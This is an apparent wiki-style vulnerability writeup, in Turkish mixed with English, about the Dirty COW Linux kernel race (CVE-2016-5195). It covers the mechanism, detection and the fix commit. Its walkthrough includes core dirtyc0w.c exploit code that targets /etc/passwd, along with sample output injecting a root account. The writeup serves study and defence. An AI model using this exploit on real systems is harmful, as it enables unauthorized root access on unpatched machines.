Skip to content

Dirty COW memory management LPE (CVE-2016-5195)

Kernel memory subsystem'inin private read-only mapping'lerin copy-on-write break'indeki bir race, unprivileged bir kullanıcının read-only dosyalara yazmasına ve root'a escalate etmesine izin verir.

Mechanism

Dirty COW, Linux memory subsystem'inin private read-only memory mapping'lerinin copy-on-write (COW) break'ini nasıl ele aldığındaki bir race condition'dır. Bir process bir dosyayı PROT_READ, MAP_PRIVATE map'lediğinde, gördüğü page'ler dosyanın read-only map'lenmiş paylaşımlı page-cache page'leridir. İlk write girişiminin COW'u break etmesi gerekir: fault handler private bir anonymous kopya allocate eder, PTE'yi o kopyaya işaret ettirir ve write'ı orada gerçekleştirir, dosyanın page cache'ine asla dokunmadan.

Note

Kernel'in koruması gereken invariant şu: dosyanın page-cache page'ine ulaşan bir write, ancak private bir kopya için taze bir writable PTE kurulduktan sonra bunu yapabilir. Dirty COW bunu break eder. Bir write get_user_pages() üzerinden istendiğinde (/proc/self/mem ve ptrace tarafından kullanılır), kernel önce page'i writable şekilde fault eder (faultin_page -> handle_mm_fault). do_wp_page COW page'i dirty olarak işaretler ama follow_page_mask'taki page table walk sonra write permission'ı yeniden kontrol eder ve PTE hâlâ read-only ise loop'a girer ve FOLL_WRITE ile retry eder. Aynı address üzerinde eşzamanlı madvise(MADV_DONTNEED) çağıran ikinci bir thread, az önce break edilmiş mapping'i yıkar. Retry'da fault bir read fault olarak yeniden çözülür, orijinal page-cache page'ini (read-only ve paylaşımlı) geri verir ve get_user_pages sonra attacker'ın byte'larını doğrudan read-only dosyanın page cache'ine yazar. Dosyanın mode bit'lerine karşı hiçbir on-disk write ve hiçbir permission kontrolü gerçekleşmez.

Bug yaklaşık Linux 2.6.22'den (2007) beri vardı ve 18 Ekim 2016'da düzeltildi.

Walkthrough

Kanonik PoC (dirtyc0w.c), kullanıcının okuyabildiği ama yazamadığı bir dosyaya (örn. bir setuid binary veya /etc/passwd) karşı race yapan iki thread çalıştırır.

// 1. Open the read-only target and mmap it PRIVATE.
int f = open("/etc/passwd", O_RDONLY);
fstat(f, &st);
char *map = mmap(NULL, st.st_size, PROT_READ, MAP_PRIVATE, f, 0);

// 2. Thread A: repeatedly discard the private COW copy.
void *madviseThread(void *arg) {
    for (int i = 0; i < 100000000; i++)
        madvise(map, 100, MADV_DONTNEED);
}

// 3. Thread B: repeatedly write through /proc/self/mem at the
//    offset of the bytes we want to change.
void *procselfmemThread(void *arg) {
    int fd = open("/proc/self/mem", O_RDWR);
    for (int i = 0; i < 100000000; i++) {
        lseek(fd, (off_t)map + offset, SEEK_SET);
        write(fd, str, strlen(str));   // attacker bytes
    }
}

/proc/self/mem üzerinden yazmak, kernel'i get_user_pages(FOLL_WRITE) path'ine zorlar, ki race'i userspace'ten erişilebilir yapan şey budur. İki thread MADV_DONTNEED'i COW-break retry'ına karşı race eder; başarılı bir interleaving'de write page cache'e iner.

Beklenen sonuç

$ ls -l /etc/passwd
-rw-r--r-- 1 root root 1239 ... /etc/passwd
$ ./dirtyc0w /etc/passwd 'firefart:...:0:0:...:/root:/bin/bash\n'
mmap 7f...
madvise 0
procselfmem 1200000000
$ head -1 /etc/passwd
firefart:...:0:0:...:/root:/bin/bash
Read-only dosyanın cache'lenmiş içeriği artık attacker-controlled bir root hesabı içeriyor. Değişiklik, bir write-permission kontrolünden hiç geçmeden page cache'te yaşıyor (ve diğer reader'lar tarafından gözlemleniyor).

Detection

  • /proc/self/mem'i O_RDWR açan ve sıkı write() loop'ları issue eden, file-backed bir private mapping üzerinde yüksek frekanslı madvise(MADV_DONTNEED) ile eşzamanlı çalışan non-root bir process güçlü bir imzadır.
  • madvise/ptrace//proc/*/mem write erişimi üzerine auditd kuralları veya read-only system dosyalarının page cache'inde beklenmedik değişiklikler exploitation girişimlerini ortaya çıkarır.

Mitigation

Linus Torvalds tarafından 19be0eaffa3ac7d8eb6784ad9bdbc7d67ed8e619 commit'inde (Ekim 2016) düzeltildi. Commit başlığı ("mm: remove gup_flags FOLL_WRITE games from __get_user_pages()") FOLL_WRITE ile oynanan racy mantığı kaldırdığını vurgulasa da, fix bunun yerine yeni bir internal FOLL_COW flag'i ekler: bu flag GUP retry'ının gerçekten break edilmiş bir COW page'i (PTE dirty bit'ine karşı doğrulanan, "yes, we already did a COW") yeniden fault edilmiş bir read'den ayırt etmesini sağlar ve race penceresini kapatır. Patch'le ve rebuild et veya distribution backport'larını uygula. /proc/self/mem varyantı daha sonra ilgili "Huge Dirty COW" (transparent huge page) hardening'ini motive etti.

References